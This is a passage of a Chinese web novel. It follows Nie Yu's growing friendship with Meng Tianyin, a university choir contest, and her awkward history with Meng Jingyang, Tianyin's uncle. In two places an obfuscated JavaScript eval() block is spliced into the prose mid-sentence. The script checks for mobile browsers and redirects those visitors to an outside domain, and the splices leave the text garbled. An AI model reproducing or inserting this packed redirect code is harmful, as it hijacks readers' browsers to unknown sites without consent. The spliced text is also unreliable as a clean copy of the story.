在兴奋过后,孟天音打量着聂宇,问她:“聂宇,咱俩现在算是朋友了吗?” 聂宇轻咳一声,说:“我都教你蝶泳了,你说呢?” 孟天音明白过来,哈哈大笑。 女生的友谊来得就是这样让人猝不及防,但有的时候,人是需要相信一点直觉的。就比如此刻,直觉告诉聂宇,孟天音是个值得交的朋友,所以她毫不犹豫地“背叛”了蒋晓先。 - 接下来两周的周日下午,孟天音都准时准点来跟聂宇学游泳。两人的友谊就在这片湛蓝的池水中得到了巩固和升华。 在跟孟天音熟悉之后,聂宇也向她求证了“天才少女”的事,得知她其实是延迟了一年才参加高考,怕年龄太小学校有顾虑,心中越发佩服了。敢情,她比传说中的天才还要天才。 此时,聂宇已经没有了太多顾忌,她当即向孟天音请教起学习问题来。在准备考试的过程中,聂宇其他几科都没有问题,唯独英语有些老大难。而孟天音的英语水平已是可以直接与老外对话的水平。 孟天音自然对她倾囊相授,见她问题不少,还利用两个周末的时间集中给她串讲了一遍。聂宇获益颇多,再做习题的时候,发现自己的整个思路都有了很大的变化。果然,天才就是天才啊。 孟天音对她总把自己当“天才”看有些不高兴,她更喜欢当她的朋友,不希望她总是把自己捧得很高。聂宇没想到她竟会有这样的烦恼,在心里感慨孟天音的真诚。她不由想,蒋晓先真的错过了一个很好的成长伙伴。如果她不是一路跟孟天音对抗到大,而是一起并肩学习进步,那她今年的高考想必就不会是这样的结果,她的人生也不会像现在这般憋屈。 当然,这只是聂宇的看法,也许蒋晓先还挺喜欢现在的生活也说不定呢。毕竟,人各有志。 - 在聂宇觉得自己从孟天音那里得到的要比付出的多的多时,她认为自己有必要回报一下她,这样心里才舒服一些。可孟天音什么都不缺,她能给她什么呢,教她跳水?咳咳,咳咳咳。 聂宇陷入了小小的烦恼当中,直到孟天音主动找到她来,请她帮忙。 “小羽毛,江湖救急!” 如今,孟天音也这样称呼起她来了。聂宇忙将手中的书本放到一边,问起缘由来。原来,她是来找她充人数,帮唱的! 8. 15-15 -15- 为庆祝即将到来的校庆,燕大最近举办了一个院际之间的合唱比赛。然而这却愁煞了理学院,因为该学院的男女比例实在太失衡了,以至于凑齐全院的女生也堪堪只抵隔壁学院的三分之一。负责该项任务的团委书记认为这样不行,便发动该院的学生向自己身边的亲朋好友寻求帮助,尽量多找一些年轻姑娘来加入合唱队伍。 孟天音作为学院各项活动的积极参与者,对这项事关荣誉的任务自然当仁不让。但她认识的符合条件的姑娘也不多,扒来扒去就聂宇一个了。 聂宇对她把主意打到自己身上并不感到意外,她也愿意去帮孟天音这个忙。但出于各种考虑,她不能立刻答应她,而是要先回去征求一下家里人的意见。孟天音十分了解她的顾虑,当即就答应了,说是等她消息。 “能来可一定要来呀。”孟天音充满期盼地看着她。 当晚回到家中,聂宇就在饭桌上将这件事提了出来。姥爷蒋铸和蒋云鹏夫妻二人对此并无异议,他们对孟家没有什么意见,甚至还隐隐希望小辈们之间能够交好,从而同那边攀上关系。但蒋晓先却对此反应很大,她在饭桌上不敢提,晚饭后回到房间时,她径直推开了隔壁聂宇的房门,问她为什么要帮孟天音。 “因为我们是朋友啊。”聂宇用一副理所当然的口吻和神情回答她。 “……你、你什么时候跟她成为朋友了?你知不知道她是谁啊,她是孟天音诶,我的仇人!”蒋晓先瞪大眼睛。 “你也说了,是你的仇人,又不是我的。”聂宇微笑。 蒋晓先语塞,觉得聂宇不可理喻。 “她给你什么好处了,把你哄得晕头转向!” “好处——”聂宇说到这里叹了口气,“在我跟她来往的这段时间,她确实在复习备考上帮了我不少,如果你非要问好处,可能这就是了。但是晓先,即使她不给我一点好处,仅凭她从来不对我吹胡子瞪眼地说话,颐指气使地命令我去做这做那,而是平等友好真心真诚地待我,我也更愿意和这样的人交朋友,你懂吗?” 蒋晓先没想到她还真说出来了这么一大堆,脸庞微烫微刺,但仍是强撑着狡辩—— “她这都是假装的,哄你的,你别给她骗了!” “那也没事啊。”聂宇说,“等哪天她不装了,我再把她当仇人也来得及。” “……” “没事就出去吧,我要复习了。” 蒋晓先像是被轰出来的,整个人莫名又愤怒。而房间内的聂宇,却是长出一口气,只觉得心里痛快无比。有些话,她可是早就想对蒋晓先说了,忍她这样久也是够了。 - 接下来的一个月,聂宇每周两次和孟天音一起去燕大,参加理学院的合唱排练。这对她来说也是一个新的体验,走出大院,走入大学,走到那群大学生里面,体验不一样的氛围和生活。 唱歌对聂宇来说不是一件难事,所以在排练之余,她用了不少时间来探索燕大,暗暗感叹这里不愧是顶尖学府,走到哪里都有超浓的学术氛围以及各式各样的人才和天才。复习备考的意志更加坚定了,这对她来说也是个意外的收获。 在准备了将近一个月之后,合唱比赛正式开始了。聂宇特意向家里人报备,比赛这天都待在孟家,为晚上的合唱做准备。 说是做准备,其实就是化妆。这事儿她和孟天音都不会,而学院里面又没有准备聘请化妆师这一项的经费,所以到最后还是需要她们自己想办法。好在孟天音有个在文工团的姐姐化妆手艺还不错,她就将人请到了家里来,专门给她们两人收拾打扮。 因为要上台,姐姐就给她们化的舞台妆,要比平时浓一些,看起来不是十分自然。孟天音先化完的,对着镜子一照,直接脱口而出“好一张猴屁股脸”。聂宇被她逗乐了,忐忑不安地任由姐姐化完,去照镜子时发现果然夸张。 “上台表演都这样。”姐姐说,“到了台上灯光一照就不显了。” 两个年轻姑娘选择相信姐姐的话,送走了她之后,又开始换装。 衣服是学院统一从外面借来的,橙红色的大长裙,看着老气横秋。俩人帮着把彼此的后背拉链拉上,转过来互相对望,都忍不住笑。 “怎么感觉一下子老了十来岁啊,都快到我妈那个年纪了。”孟天音嘟囔道。 “那阿姨还是蛮年轻的。”聂宇低头理了理袖子,说,“带个外套哈,今天外面很冷的。” “我知道!”孟天音说,“我提前跟爷爷打过招呼啦,今天让小戚叔叔开车送我们过去,免得路上着凉感冒。” 小戚是孟天音爷爷孟锐挺的警卫员兼司机,平常也是不随便安排给小辈用的。 “那敢情好。” 聂宇笑了,两人又对着镜子臭美嫌弃一番,收拾收拾下了楼。 出乎她们的意料,楼下客厅空无一人,原本应该等候在那里的小戚此刻并不见人影。孟天音呼唤了两声,出来回应的只有保姆阿姨小卫,说是小戚跟着孟老爷子外出尚未回来。 孟天音有些傻眼了,快步下楼走到电话边准备给父亲去电,想问下是何情况,顺便问他能不能拨辆车子过来。听筒刚拿起,一道人声从屋外传了进来—— “别打了,小戚送老爷子去了景山,今晚不回来。我开车送你过去。” 几秒后,一个颀长挺拔的身影走了进来,竟是孟京阳。这下不光孟天音,连聂宇都有些傻眼了。这、这是什么情况! “小叔!”孟天音看到是他,喜大于惊,“你怎么过来了?是爷爷给你打的电话?” “不然呢,他老人家放了你鸽子,总得找个递补吧。” 一身便装的孟京阳笑了笑,目光先后落在孟天音和聂宇脸上,表情有一丝意外。他是临时接到孟锐挺的电话才知道今晚比赛这事儿的,更不会晓得聂宇也要参加。看到她出现在这里,他不由纳闷:这两个什么时候认识的,并且关系这般好了?他是太久没回家了么? “那可太好了!”孟天音一拍巴掌,立刻攀上了孟京阳的胳膊,“小叔,那你也会留下来看我们比赛的,对吧!散场后你还得接我们回来呢!” 这不是显而易见吗? 孟京阳没理会她的废话,眸光在她和聂宇俩人身上打了个转,问:“谁给你们化的妆,像——” “猴屁股是吧!”孟天音抢先接过孟京阳的话,“我也觉得夸张,但霞姐说舞台妆就得这样。” 霞姐,就是给她们化妆的那位姐姐。 哪怕是对孟京阳而言,“猴屁股”这一形容也有些太超过了,他可不会当着聂宇的面儿这样说。因为很显然,在孟天音吐出那三个字之后,聂宇的神色稍有一些尴尬,想拽一下她的衣服提醒,又怕被他看到,把手缩了回去。 孟京阳微垂了下眸,笑说:“是合唱,又不是跳舞。不过你霞姐是专业的,既然她这么说了,就听她的。”一顿,“走吧,时间不早了。” “好诶。” 孟天音连忙去向聂宇示意,在她向自己走过来的时候,她忽然想起一件事:她还没向小叔介绍自己的朋友呢! “对了小叔,忘跟你介绍了,这是聂宇,蒋爷爷的外孙女,我现在最好的朋友!” 这一句,让孟京阳顿住了脚步,他回头看看侄女又看看聂宇,见她微抿着唇,一脸忐忑地看着他。看样子,她好像不想表现出他们其实早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353334|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识的事实? “你好。” 孟京阳如她所愿地同她打了一个招呼,便移开了视线。聂宇稍松一口气,回了同样两个字之后,心里又稍稍有些纳闷:怎么看上去,他好像有些不悦的冷淡呢? - 孟京阳今天开过来的车子依旧是那辆猎豹越野,孟天音和聂宇遵照他的指示,在后排坐定,车子徐徐启动。 在驶出大院,行至主干道之后,孟京阳开车的注意力松散了一些,可以抽空跟侄女说说话。 聊得最多的当然还是这次合唱比赛,比如有多少学院参加,各个学院又选的什么歌,以及她唱的什么声部,聂宇唱的什么声部之类的。就这样有一搭没一搭地聊着,竟行过了快一半的路程,聂宇看着窗外快速后退的风景,心情也松快不少。蛮好的,只要注意力不放在她身上,随便他们聊什么都好。 “今晚比赛的事,你跟你蒋爷爷报备过了么?结束的时候估计要十来点钟,这么晚回家,聂宇有没有问题?” 孟京阳突来一问,让聂宇的心又提了起来。 “报备过了,从一开始聂宇就跟家里说了,今晚比赛也是。她可是乖宝宝呢。” 孟天音语带调侃地说,引得孟京阳从后视镜里看过来一眼—— “那这一点,你要向她学习。”一顿,话头立转,“你们两个是如何结识的?” 这话题,就像是一般长辈关心后辈一样正常和自然,丝毫不会引起任何怀疑。但聂宇听了,心里总是打突突。她现在简直后悔不迭,人一时糊涂做了一件心虚的事,往后可能一辈子都要在他面前战战兢兢呢。 幸好,有个永远不会让话题掉到地上的孟天音。她从俩人如何从泳池边相遇,如何彼此互相学习,讲到到最后结为至交。而且让聂宇颇为感激的是,她没提第一次见面时她和蒋晓先吵架的事,算是保全了她们家的颜面。别看孟天音平时大大咧咧,其实小姑娘心思很细腻。 孟京阳安静听着,时不时从后视镜扫后排的聂宇一眼。只见她披着一件浅色的厚外套,一张被浓妆修饰过的脸在街边路灯的映照下,显得有几分滑稽,又有几分可爱。唯一没被化妆笔沾染过的那双黑眸,照旧明亮如初,随街灯流转间,映射出五彩的光芒。 他能看出她的不安来,但也没有错过她与孟天音说小话时的灵动和活泼。倒是有点儿像在照山初见时她的样子了。 - 漫长的二十分钟过后,终于抵达了燕大校园。 孟京阳将车子停在了体育馆外的东侧,不及他停稳,孟天音就迫不及待地打开了车门,准备下车。 聂宇自然也要跟随好友的脚步,但她不能像孟天音那样随意,她得预备着,在分别的时候,要不要向孟京阳说声谢谢。毕竟,搭乘了人家的车子。 “小叔,我和小宇先去找我们院同学汇合啦,你自己进去找位子吧,应该有空的。”孟天音笑嘻嘻地对孟京阳说。 “去吧,结束之后我在这里等你们。”孟京阳下得车来,关上前车门道。 “没问题。” 孟天音拉着聂宇的手要走,然而聂宇的脚步有些迟疑,她还没道谢呢。 “孟——” 聂宇刚一出声,就听见孟京阳同时对她们说出了一句话:“等一下。” 聂宇和孟天音同时站住,在后者满是疑惑的目光注视下,孟京阳走过来,走到聂宇身边站定,在她骤然紧绷的身体一侧略弯下腰,将她的裙子提了一下,然后又放下。 “裙边挂到鞋上了。”直起身后,孟京阳神色自然地解释道。 “……谢谢。” 酝酿半晌,那声谢终于道出口,却已不知在谢什么了。 9. 16-17 -16- 聂宇觉得这样不行。再这么心虚下去,不光孟天音那里瞒不住,她自己也要崩溃了。 反正,孟京阳已经说过扯平之类的话,那她就努力当做什么也没发生不就行了?今日之后,下次见面不定会是什么时候呢。 聂宇在心里给自己打气,却没想到等演出结束之后,又有了新“惊喜”。 - 当晚,演出还是十分顺利的。理学院排在倒数第三位出场,却凭借优异的表现拿下了二等奖,这对学院众人从上至下都是个莫大的惊喜和激励。只有孟天音不太满意,在她看来所有人费了那么大的功夫,为的就是拿第一名。如今拿个二等奖就知足,真是太没有争胜心。 聂宇看她气呼呼的,也不知该怎么安慰她了。两人在后台卸妆换衣墨迹了片刻,等有人来通知准备清场,孟天音才嘟着嘴去还衣服,临走前让聂宇先去车上等她,她还要跟团委书记“谈一谈”。 聂宇只好照办,然而等她回到孟京阳停车的地方时,却没找见他的人,而车的门也从里面锁上了。 聂宇在原地张望片刻,又逢落雨,只好退到一旁的屋檐下去等。她将头发扎起,又把衣服扣紧,整个人觉得周身有种冷意。快十月末的天气还下雨,这在燕城也是有些少见的,聂宇轻轻呼出一口气,在原地慢慢地踏着步,试图让自己暖和起来。 忽而,有一个高个子戴眼镜的男孩儿从不远处走了过来。聂宇原本以为他是恰巧经过,向身后的墙靠了靠,给他让道。没想到男孩儿停了下来,看着她露出一个笑。 “在等天音吗?你们怎么回去?” 男孩儿看似有些腼腆地开口问,听口吻好像是知道她,莫非是理学院的人? “有车来接。等天音出来,我们就一起回去了。” 聂宇礼貌答,没有问男孩儿的姓名。一是没这个必要,二是,她觉得这样或许会让男孩儿尴尬。他都以“熟人”自居来跟她打招呼了,而她却不认识他?——虽然聂宇确实对他没有印象。 “那还好。”男孩儿笑一笑,抬眸觑她一眼,声音低了几分说,“聂同学大概已经不记得我是谁了吧。” “……”聂宇没想到这人如此眼尖,讪笑一下,默认的同时尽量让自己不要太尴尬。 “我叫杨帆,是天音的同班同学,我俩一个是班长一个是副班长。”男孩儿双手插兜,做自我介绍道,顺便自嘲一句,“我这个人其貌不扬,你记不住我很正常。” 聂宇在心里默念一声“老天”,知道到底还是伤到对方的男性自尊了。虽然,她不觉得自己有什么实际过错…… “听天音说,你不是燕大的学生,那以后还会来燕大玩儿吗?学校附近开了一家不错的西餐厅,我可以请你和天音去那里喝咖啡。” 男孩儿继续说,话中的用意再明显不过,聂宇虽觉错愕,但还是确认了一个事实,那就是男孩儿貌似对她有好感,是专门过来同她搭话的。 “可能不会再来了。”聂宇说,“除非明年我顺利考入燕大吧。” 男孩儿微一抿唇,仿佛经历了一番思想挣扎,才对她说:“那……方便给我一个联系方式么,我想、我想……” 你最好什么也别想! 聂宇在心底祈祷着,正想着该如何礼貌回绝他,一道男声从斜前方传过来—— “聂宇,天音呢?” 是孟京阳!聂宇倏然抬头,果然看到那人不知从何处回来,正站在车门口。心中油然生出一种被解了围的喜悦,她往前走了两步,既没离那个男孩儿太远,又恰好让孟京阳听到自己的声音:“天音还有点事,要待会儿过来。” 孟京阳点一点头,出乎聂宇意料的,他向她这边走了过来。 “这是——” 他将目光落在杨帆身上,虽不动声色,却让男孩儿莫名有种被审视的感觉。 “是天音的同学,他俩一个班长一个副班长。”聂宇照搬杨帆的自我介绍,却没有向他介绍孟京阳。因为,她不确定孟京阳想不想让对方知道自己的身份,而杨帆也没有问。 “你好。” 孟京阳略向他点头示意,杨帆仓促回应了下,在心里揣测着来人的身份。莫非,是孟天音的长辈之类的?看着稍年长一些。 不管如何,这人的气场让他稍感不适。杨帆没说什么,向聂宇点头示意了下,悄然离场了。这又让聂宇有些傻眼,不是——孟京阳这么好使的吗? 她侧过脸看了孟京阳一眼,恰巧他也在看她。 “杨同学是过来向你示好的吧。” 看似疑问句,实则肯定句。聂宇很是佩服他的直觉和眼力,尴尬一笑,说:“谢谢……您替我解围。” 既然猜到孟京阳走过来的用意,她就没再装傻了。 “客气。”他说,“这种被不熟悉的人示好的感觉,我能理解。” 这话自然说的是孟天音,作为小叔,他不知为她挡退多少狂蜂浪蝶了。然而在聂宇听来,这句话却是实实在在的另有所指。她没想到孟京阳竟然如此不给面子地直说出来,愣了好一会儿,才将目光转向他—— “小孟叔叔——” 这声称呼也让孟京阳意外,他侧脸垂眸,对上聂宇那双晦暗不明、欲言又止、似是惭愧又似是受伤的眼神时,才意识到自己方才那句话引起了多大的歧义。不及他出口纠正,就听聂宇说:“我、我其实一直欠您一个道歉。虽然,您之前说过跟我扯平了,但我还是得跟您说声对不起,为那晚在照山的事。不然,我心里永远过不去那道坎。” 虽然是话赶话说到了这里,但聂宇的心思却是越来越清明,以至于说到最后,她看向孟京阳的那双眼睛已经不再有惭愧的神色了,而是满满的真诚和严肃。 孟京阳稍稍一怔。 - 谢静芳之所以在最初给聂宇起名叫聂镜澄,是因为她看穿了孙女的心地,知道她是个敞亮的孩子,心里始终犹怀一面明镜。诚然,聂宇长这么大,没做过什么亏心事,可今年夏天她就一连干了两件。第一件,自然是瞒着奶奶去照山;第二件,则是在那一晚鬼使神差地敲开了孟京阳的房门。 在照山,聂宇与孟京阳的相识其实并没有特别浓墨重彩的地方,在一开始她只是知道和听说了他,后来他们的视线渐渐有了交集和交汇,直到最后,她认识了他。 那是在一个炎热的夏日午后,她和杨桃一起去照山鹤清别墅旁的泳池游泳。杨桃,是她去照山之后认识的一个朋友,她跟着自己的长辈从南方来,也是托某位亲戚的福,第一次住进照山的一号别墅群里。 由此可以说明,杨桃的家庭背景虽好,但也绝非顶尖那一拨,这也是聂宇能和她玩得来的原因:俩人都不矫情,没有那些眼高于顶的毛病。 鹤清别墅离聂宇姥爷蒋铸所住的地方并不远,再加之有一号区里最干净的泳池,所以聂宇常去那里。杨桃也被她带的爱上了游泳,两人常在那湛蓝的水中徜徉,兴致高时,聂宇还会上到一旁的跳台去跳水。 这可迷坏了杨桃,她觉得聂宇简直无所不能,看到她跃入水中却又能同时将水花压得死死时,她兴奋地大喊并为她鼓掌。 聂宇就是在这个时候见到的孟京阳,那天她照旧和杨桃在泳池中玩儿,一抬眸,看见了两个男人不知何时坐在了泳池边的阳伞下。 杨桃悄悄告诉他,说其中一个是跟她来自同一个地方的,她跟他还算熟。而另外一个男人,她不太认识,问朋友也不说,神神秘秘的紧。当然,最后杨桃还是从朋友那里拷问了出来,说是来自燕城,姓孟,其他的便没有过多透露。 朋友这样做自然有他的道理,在他看来,无论是杨桃还是聂宇,都不会是跟孟京阳产生太多交集的人,自然也就没必要知道太多他的信息。甚至,他估计这两个小姑娘都没勇气喊着孟京阳的名字同他打招呼,当然也不用知道这些了。而孟京阳这边,他跟他相交太久,也知道这人不是会随便招惹小姑娘的性格,所以与其说是他“不肯”透露,倒不如说他根本就没把这些当成一回事。他坚信,除他之外的三个人,互相之间不会扯上任何关系。 只不过,这一年暑期去照山的人并不多,所以有些时候,杨桃和聂宇还是会跟他们两人一起玩儿,比如去看看山间风景,爬爬山钓钓鱼,亦或者坐在亭阁间喝喝茶赏赏雨,活动都十分健康有趣。而在这个过程中,杨桃对孟京阳的意见越来越多,觉得这人有点儿装,整日一副故作高深的样子。 其实在聂宇看来,孟京阳只是话少而已,比起杨桃的朋友,他对她们两位女孩儿的照顾还要更多一些呢。而大多数他沉默的时候,并不是因为对她们的话题不感兴趣,嫌幼稚,而是想把机会让给杨桃的朋友。连聂宇都看得出来,杨桃和所谓的“朋友”在发展关系中,这次照山之行就是俩人刻意制造的机会。 在聂宇的解释下,杨桃渐渐改变了对孟京阳的看法。当然,这其中最主要的原因其实是她不必太在意他,因为像孟京阳这样的人,永远不会是她的目标,她实在不必费心去讨好。而聂宇,因为怀有自己的心事,也不会太在意这些人际关系上的事,直到——她被姥爷蒋铸逼得彻底走投无路。 -17- 在抵达照山的第二天,聂宇就向蒋铸说明了来意,但老爷子听完之后一直没有表态,只是说她准备考试辛苦,让她先什么也别想,好好在照山休养一阵子。 然而怀揣着目的而来,怎么可能什么也不想呢,聂宇只好边痛苦边享受,几次差点儿忍不住,想要姥爷给个痛快。 就这样大约过了近一周,蒋铸终于将聂宇叫过去,同她谈这件事。老爷子明确表示,可以向她提供资源帮助她复读,条件是她要接受家里的相亲安排,有合适对象的话等到高考完就立刻成婚。 聂宇震惊了,她没想到达成这件事是需要做交易的,更没想到交易的内容是她的婚姻。当即,聂宇就表示了她的愤怒。然而老爷子却是早有准备,一语就点破了她的企图,原来他早就看出来聂宇不单纯是为了复读而来,她其实是想要借助自己的离开,解脱她的奶奶谢静芳。都说聂家人丁兴旺,放在以前看是好事。可随着孩子们都渐渐长大,矛盾和利益冲突都会逐渐显露出来,怎么可能再继续充当“安乐窝”呢。蒋铸就是看透了这一层,知道聂宇所求不小,所以才会提条件。而在他看来,所谓的条件也绝非刁难,而是他在为外孙女的未来着想——女孩儿,总要嫁人的嘛。 聂宇此时还不知道蒋铸让她结婚也是在为她考虑,只当他是想借着小辈的婚姻去连接各种关系,意图太过功利。她当然不想当这个工具人,可若不如此,姥爷也不会答应她的请求。 聂宇就此陷进了无尽的烦恼之中,而一直与她相伴的杨桃也看出了她有心事,细细追问了一番,知道了前因后果。其实杨桃并不是聂宇一直以来会交的那种朋友,她有野心,很多事的目的并不单纯。但她有一点好,那就是不会为了达成目的而去伤害无辜的人,而真当她跟你做朋友的时候,她对人又会是足够真诚的,所以聂宇才会卸下心防,同她说这些。 对于聂宇的问题,一开始杨桃也没有很好的主意。直到后来她意外从朋友那里探知了孟京阳的更多信息,忽然生出一个想法,或者说妄念:她建议聂宇去跟孟京阳发展一下关系。 聂宇对此的震惊程度不亚于听到蒋铸让她嫁人。 “我,跟孟京阳?”她指了指自己,又指了指外面,仿佛孟京阳就在那里。 “你听我说,虽然都说靠山山倒,靠人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353335|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人跑,凡事最好都要靠自己。但生活在现在这个社会,没点关系是寸步难行的,你也不用觉得这有什么不好。孟京阳这个人,他是比你大几岁,但他的长相、能力和背景等等,都比我们想的要好得多。有这么现成的一个优质资源摆在面前,你为什么不可以利用下呢?”杨桃说,“当然,我不是说让你跟他立刻马上就有什么实质关系,你可以……嗯,比如说营造一份假象,制造一种暧昧,然后依靠着这些去你姥爷面前狐假虎威。有这样一个诱饵在,我想你姥爷应该不会逼你了,他说不定比你还积极呢。而你需要做的就是将这份关系维持到你考上大学为止,到时候是分是合,全凭你自己喽。你要愿意,可以把这份关系坐实,毕竟……孟京阳确实是一个很不错且难得的选择。” “……” 聂宇觉得杨桃真是高看自己了,不仅要捏造一份关系出来,还要维持将近一年,期间还要抵得住姥爷的各种质疑和考验……能做到这些,她还考什么大学呢,直接被有关部门特招去做卧底好了。最最重要的一点是,凭什么呢,凭什么就笃定孟京阳会中招,会配合。 “你真不觉得吗?”杨桃眼含笑容地看着她,“其实我觉得他挺关注你的,那天你跳水的时候,他就一直在一旁看哦。” “……那我跳水是不错,他多看几眼也正常。”聂宇说。 “那我还说是你长得漂亮,所以他才多看几眼呢。”杨桃翻了个白眼,让聂宇有些无语。 作为从小在爱中长大的孩子,聂宇并不自卑。她深切地知道自身长相上的优势,并且还算爱护。但她还没有自大到认为随便一个人都会拜倒在自己这张脸上,尤其是……她潜意识里觉得一定见识过不少漂亮姑娘的孟京阳。 杨桃见她如此理智,也没办法了。暧昧这种事,非得装糊涂而不能成,要的就是彼此之间的心知肚明心领神会而嘴上却保持默契的缄默,这样才有趣。而聂宇这傻孩子却把什么都想透彻了,那还有什么意思呢,可以说毫无激情。 然而聂宇却像就此落下一个心病似的,尤其是当时间一天天过去,她的姥爷丝毫不见松口的迹象,她的形势也就越发危急。终于有一天,聂宇鬼迷心窍一般,决定去试试杨桃的“馊主意”,最起码,去试探一下孟京阳对她的态度。 - 那是一个下过雨的傍晚,天边出现了一抹彩虹。杨桃说可能因为下的是太阳雨,所以雨过天晴之后出现彩虹的几率比较大。 然而山间的夜晚,在水汽蒸发之后还是有一抹凉意,聂宇出门前披了一件浅色衬衣在身上,乌发披散在脑后,整个人看上去纤细又轻盈。她没有留意任何一抹驻足在她身上的目光,直直向着孟京阳的住所走去。 那是一栋五层小楼,是一号区里唯一一栋非别墅的建筑。聂宇事先已经知道了他的房间号,便直接避开前台的人,上了他所在的三楼。意料之中的,孟京阳在房里,他好像正在给自己冲咖啡,见到敲门的人是她时有些意外,但很快恢复如初,将她迎了进去。 聂宇一见到他,就知道这个主意确实是一个实实在在的馊主意,因为根本不可能,她和孟京阳不会有一点儿可能。但是人来都来了,她已经犯了一个错误,不能再犯第二个,所以她必须要不动声色地撤退,不能让孟京阳有所察觉。 孟京阳的穿着很简单家常,他没有立刻问聂宇的来意,而是在给她倒了一杯果汁之后,才徐徐问及。此时聂宇已经想好了说辞,借口听杨桃的朋友提及过他这里有一本书,她有兴趣,想借去看看。 聂宇自认这个理由天衣无缝,殊不知向来与他保持距离的她肯在这个时候登门借书,就足够反常了。但是孟京阳没有点破,而是将书取来,递给了她。 “我会尽快看完,然后还给您。”当时,聂宇垂眸说。 “不急,回到燕城给我也行。”一顿,“我是听泊宁说的,你过后会到燕城去,有这回事吗?” 程泊宁,就是杨桃朋友的名字。聂宇当时心里一咯噔,心想难不成杨桃替自己打过前站了? “目前是我想去,但姥爷还没答应。”聂宇老实说道,连她自己也分不清是因为觉得这事儿没必要隐瞒,还是潜意识里已经在给孟京阳下套。 “为什么?”孟京阳喝一口咖啡,看一眼外面又零星下起的雨,问道。 “因为——”聂宇迟疑了一瞬,再抬头时,她对上孟京阳的视线,用一种看似打趣实则因太不自然而显得古怪的笑容和口吻反问道,“您知道了原因,会帮我达成心愿吗?如果不会,那我就先不说了。” 说完这句,聂宇已经开始在隐隐打颤了。而孟京阳却仿佛没有意识到不对似的,看了她一眼,说:“你需要我帮忙?”他像是在确认,不等她回答又问,“可以,但事成之后我有什么好处?” 什么好处也不会有,而且还会多一个绯闻女友。聂宇觉得自己简直可笑,她不想再在这里待下去了,甚至连这本书她都不再想要。而孟京阳似乎也终于回过味儿来了,他看着聂宇的目光先是有些疑惑,待她的反应证实了他的猜想之后,男人的神色仿佛被罩上了一层阴影。他猜到聂宇上门是有所企图,但没想到她的筹码还挺大,竟是她自己。 一时间,孟京阳的心情很是复杂。 而聂宇也是很少见孟京阳这样严肃,心里顿时有些后怕。一直以来,或许是因为在休假,孟京阳各方面的表现都给人一种模糊了年纪的错觉。直到此刻,聂宇实实在在地感受到了他的威严,才恍然记起这个被自己忽略了挺久的事实:他比她要大几岁,并且是有足够社会经验和一定地位的人。 聂宇立刻起身,道了声再见之后,立即离开。孟京阳没有拦她,他只是在回想了一遍这件事情之后,蓦地笑了出声。好滑稽的一出,他想。 10.18-20 -18- 这晚之后,聂宇再也没有出现在孟京阳面前过。甚至连杨桃,也鲜少再在外面见到她。年轻女孩儿大门不出二门不迈,名义上窝在房间里看书复习,实则整日都在懊恼、自弃和反省。聂宇连梦里都在奢求这一晚什么也没发生,她没有做过这样一件备受唾弃的蠢事。 兴许是察觉到外孙女的低落情绪,在临回燕城前,蒋铸又将她叫了过去,看着她叹了口气:“小小年纪就这么犟!” 到此时聂宇已经有些麻木,呆呆地看着姥爷,不知道他在说什么。她根本不敢想——或者说不敢奢望,事情还有回旋的余地。 “你要是不想这么早相亲谈对象,我也不强迫你。”蒋铸沉默半晌,终于又开口道,“姥爷可以给你一年的时间,提供你想要的资源,让你去专心复习准备来年的考试。但若来年再考不上,你就得乖乖听从我的安排了。”一顿,蒋铸抬眸看她,“女孩子家的好辰光就那么几年,我不可能听任你都浪费在高考上,就是不上大学,将来找个好家人嫁了也是一样的!” “……” 整件事居然就这样峰回路转了,聂宇在吃惊欣喜之余,心里又泛起一股苦涩的脱力感。姥爷,你怎么不早说啊,你早说了我还至于去病急乱投医吗? 一时悲屈涌上心头,再加上脑袋有些眩晕,聂宇直接就坐在了地上。蒋铸以为她是高兴过了头,微微失笑,走过来扶起她说:“咬死了不松口,真跟你妈是一个性子!” 蒋铸本就没打算让她立刻相亲嫁人,这个条件提出来不过是为了考验她而已,看她会不会为了聂家那个老太太向自己服软。结果小半个月快过去了,孩子人是见瘦,但意志却没怎么动摇,蒋铸看在眼里,也不打算再为难她了。他稍稍做了让步,一年的时间是可以给她的,但过后如果还是不成,说明她没有上大学这个命,到时候去参军也好,上个大专技校也罢,出来能有一份工作就成。女孩子最重要的,终究还是嫁人。 聂宇听着老爷子将自己这些天的心路历程缓缓道来,心情颇为复杂。对于他能同意自己的所求,聂宇是感激的。可在这之前将她逼得走投无路的,同样也是他。要说心中没有怨气,那是不可能的。从那时起,聂宇就隐约感知到自己选择了一条不好走的路,但考虑到现实,她唯有选择继续硬着头皮走下去。 在蒋铸应允她的第二天,聂宇就收拾包袱准备踏上回家的行程。在走之前,她只见了杨桃一面,俩人互留了联系方式,约定要一直保持着这份友谊。至于孟京阳,她就准备把他当做一场梦了。睡醒一觉,便什么都烟消云散。 - 回过神来,聂宇见孟京阳的神情有些沉默,心头蓦地打了个突。但既然已经捅破了这层窗户纸,她也不打算退缩了,强迫自己直视着他,勇敢面对。 孟京阳也看出来她是在动真格,心思转了几转,他平静开口:“聂宇,不必这样,我这人说话还是算话。” “……我知道。”聂宇接话道,略略低了下头,还是有些难堪,“但我实在不喜欢这种心虚的感觉,我想——挺直腰杆面对所有人,平等地跟他们说话。” “所以,我让你觉得不平等了?”孟京阳挑一下眉问道,不知是打趣,还是真疑惑。 